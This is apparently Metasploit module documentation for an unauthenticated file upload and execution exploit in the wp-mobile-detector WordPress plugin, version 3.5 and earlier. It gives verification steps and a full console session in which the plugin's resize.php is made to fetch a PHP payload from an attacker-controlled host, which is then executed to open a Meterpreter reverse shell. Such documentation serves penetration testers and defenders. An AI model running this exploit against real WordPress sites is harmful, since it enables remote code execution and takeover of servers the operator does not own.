## Vulnerable Application

  wp-mobile-detector is a wordpress plugin which was removed from the wordpress site after this vulnerability
  was disclosed.  Version 3.5 and earlier can be directed to upload a file from a remote web server, and then
  the file can be executed by the client.

  Download [wp-mobile-detector](https://www.exploit-db.com/apps/bf8bdbac0b01e14788aa2d4a0d9c6971-wp-mobile-detector.3.5.zip)
  from Exploit-db since wordpress removed it.

  Due to its age, it may be difficult to install.  The install for the scenario later is:

  * Ubuntu 16.04.2
  * Apache 2.4.18
  * PHP 7
  * Wordpress 4.4.2

## Verification Steps

  1. Install the application
  2. Start msfconsole
  3. Do: ```use exploit/unix/webapp/wp_mobile_detector_upload_execute```
  4. Do: ```set rhost [ip]```
  5. Do: ```set lhost [ip]```
  6. Do: ```set srvhost [ip]```
  7. Do: ```exploit```
  8. You should get a shell.

## Scenarios

### wp-mobile-detector 3.5 on Wordpress 4.4.2

  ```
  msf > use exploit/unix/webapp/wp_mobile_detector_upload_execute 
  msf exploit(wp_mobile_detector_upload_execute) > set rhost 2.2.2.2
  rhost => 2.2.2.2
  msf exploit(wp_mobile_detector_upload_execute) > set TARGETURI /wordpress/
  TARGETURI => /wordpress/
  msf exploit(wp_mobile_detector_upload_execute) > check
  [*] 2.2.2.2:80 The target appears to be vulnerable.
  msf exploit(wp_mobile_detector_upload_execute) > set payload php/meterpreter/reverse_tcp
  payload => php/meterpreter/reverse_tcp
  smsf exploit(wp_mobile_detector_upload_execute) > set lhost 1.1.1.1
  lhost => 1.1.1.1
  msf exploit(wp_mobile_detector_upload_execute) > set srvhost 1.1.1.1
  srvhost => 1.1.1.1
  msf exploit(wp_mobile_detector_upload_execute) > exploit
  [*] Exploit running as background job 2.
  
  [*] Started reverse TCP handler on 1.1.1.1:4444 
  msf exploit(wp_mobile_detector_upload_execute) > [*] Starting Payload Server
  [*] Using URL: http://1.1.1.1:8080/ZWTgqwsiFL.php
  [*] Uploading payload via /wordpress/wp-content/plugins/wp-mobile-detector/resize.php?src=http://1.1.1.1:8080/ZWTgqwsiFL.php
  [+] Payload requested on server, sending
  [+] Sleeping 5 seconds for payload upload
  [*] Executing the payload via /wordpress/wp-content/plugins/wp-mobile-detector/cache/ZWTgqwsiFL.php
  [*] Sending stage (37514 bytes) to 2.2.2.2
  [*] Meterpreter session 1 opened (1.1.1.1:4444 -> 2.2.2.2:47064) at 2017-10-20 22:54:04 -0400
  [+] Deleted ZWTgqwsiFL.php
  [*] Server stopped.
  ```
